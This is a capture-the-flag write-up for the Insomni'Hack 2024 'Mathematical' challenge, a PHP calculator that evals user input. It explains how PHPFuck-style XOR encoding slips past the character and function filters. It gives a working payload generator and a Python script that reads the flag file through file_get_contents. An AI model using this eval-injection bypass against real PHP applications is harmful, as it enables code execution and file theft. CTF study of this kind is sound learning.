Mathematical
[Insomni'Hack Finals, 2024]
Challenge
The challenge is a web-based calculator app allowing you to perform math operations. The frontend provides you a nice calculator interface, whereas the formula is evaluated via the backend written in PHP8
<?php
// ini_set('display_errors', '1');
// ini_set('display_startup_errors', '1');
// error_reporting(E_ALL);
function compute($equation)
{
// Allowed functions
static $_allowed_funcs = ['abs', 'ceil', 'cos', 'exp', 'floor', 'log', 'log10', 'max', 'min', 'pi', 'pow', 'rand', 'round', 'sin', 'sqrt', 'srand', 'tan'];
// Check for correct amount of parenthesis
if (substr_count($equation, '(') !== substr_count($equation, ')')) {
echo "Missing parenthesis";
return;
}
// Forbid bad chars
if (strpos($equation, '`') !== false || strpos($equation, '$') !== false || strpos($equation, '[]') !== false || strpos($equation, '{') !== false || strpos($equation, '}') !== false || strpos($equation, '"') !== false || strpos($equation, "'") !== false || strpos($equation, '|') !== false || strpos($equation, '&') !== false) {
echo "Error";
return;
}
// Check if equation contains forbidden functions
preg_match_all('!(?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)!', $equation, $match);
// var_dump($match);
foreach ($match[1] as $curr_var) {
if ($curr_var && !in_array($curr_var, $_allowed_funcs)) {
echo "Function not allowed";
return;
}
}
$math_result = null;
eval("\$math_result = " . $equation . ";");
if (is_infinite($math_result)){
echo "Overflow";
return;
}
// Convert the result to a string
return strval($math_result);
}
// Avoid DoS
set_time_limit(5);
// Main code
$max_length = 10000;
if (isset($_POST['expression']) && ($_POST['expression'] !== '')) {
if (strlen($_POST['expression']) <= $max_length){
// Get the user input
$user_input = $_POST['expression'];
$result = '';
$result = compute($user_input);
echo ($result);
}
else {
echo "Expression is too big!";
}
}
else {
echo "No expression was given.";
}
?>
Exploit
The idea is to exploit the eval
function in order to run arbitrary code.
We therefore need to pass 2 checks to reach the eval
function.
Bad Character Check
The first check searches for forbidden characters: `${}"'|&
However, only the sequence []
as whole is checked, but not [
and ]
Forbidden function check
The second check restricts the usage to predefined functions through checking if the formula contains alphanumeric values.
(?:0x[a-fA-F0-9]+)
checks for hexadecimal numbers and always allows them.
([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)
checks for alphanumeric values and checks if this function is permitted.
Solution
In order to bypass those checks, we can use the concept of PHPFuck.
We can not use it directly as it only supports PHP7 due []^[]
does not evaluate to 0
anymore in PHP8.
<?php
$mapping = array(
// [0].[0] converts each array to an string and
// evalutes to ArrayArray
// So with ([0].[0])[0] we get "A"
// with ([0].[0])[1] we get "r" and so on.
65 => "([0].[0])[0]", // "A"
114 => "([0].[0])[1]", // "r"
97 => "([0].[0])[3]", // "a"
121 => "([0].[0])[4]", // "y"
// [ ][0] evaluates to NULL
// A number concenated to NULL converts the string to a number
// (0).NULL -> (0).[ ][0] -> "0"
// Note, that we use [ ] instead of [],
// as [] is filtered by the forbidden character check
48 => "(0).[ ][0]", // "1"
49 => "(1).[ ][0]", // "2"
50 => "(2).[ ][0]", // "3"
51 => "(3).[ ][0]", // ...
52 => "(4).[ ][0]",
53 => "(5).[ ][0]",
54 => "(6).[ ][0]",
55 => "(7).[ ][0]",
56 => "(8).[ ][0]",
57 => "(9).[ ][0]"
);
// This is our basis
// We now try to combine those with xor to get other characters as well
// For example "A"^"1" -> "p"
// Then we add the new character e.g. "p" to our list
// mapping and also to the workList
$workList = array_keys($mapping);
while(count($workList) > 0) {
$val = array_pop($workList);
foreach($mapping as $k => $v) {
// Generating a new value
$nv = $k^$val;
if(!array_key_exists($nv, $mapping)) {
// Adding it to the mapping and list
$mapping[$nv] = $v . "^" . $mapping[$val];
array_push($workList, $nv);
}
}
}
// Converting decimal numbers to ascii characters
$kv_mapping = array();
foreach($mapping as $k => $v) {
$kv_mapping[chr($k)] = $v;
}
function convert($text) {
global $kv_mapping;
$etext = false;
foreach(str_split($text) as $v) {
if(!array_key_exists($v, $kv_mapping)) die("Character not found in mapping list!");
if($etext === false) $etext = "(".$kv_mapping[$v].")";
else $etext .= "." . "(".$kv_mapping[$v].")";
}
return $etext;
}
// In order to execute functions,
// we put our generated string to an array
// taking the index 0 and call it with paramters
$payload = implode("", [
convert("1"),
";", // Returns a valid number
"[",
convert("print_r"),
"][0](",
"[",
convert("file_get_contents"),
"][0](",
convert("/var/www/flag.txt"),
")",
")",
]);
// Payload is: 1; ["print_r"][0](["file_get_contents"][0]("/var/www/flag.txt"))
echo $payload;
?>
This generates our payload. We can now use this python script to deploy our exploit.
import requests
import os
HOST = "http://localhost:8081/"
# HOST = "https://mathematical.insomnihack.ch/"
expression = os.popen("php generator.php").read()
res = requests.post(HOST + "math.php", data={
"expression": expression
})
print(res.status_code)
print(res.content.decode())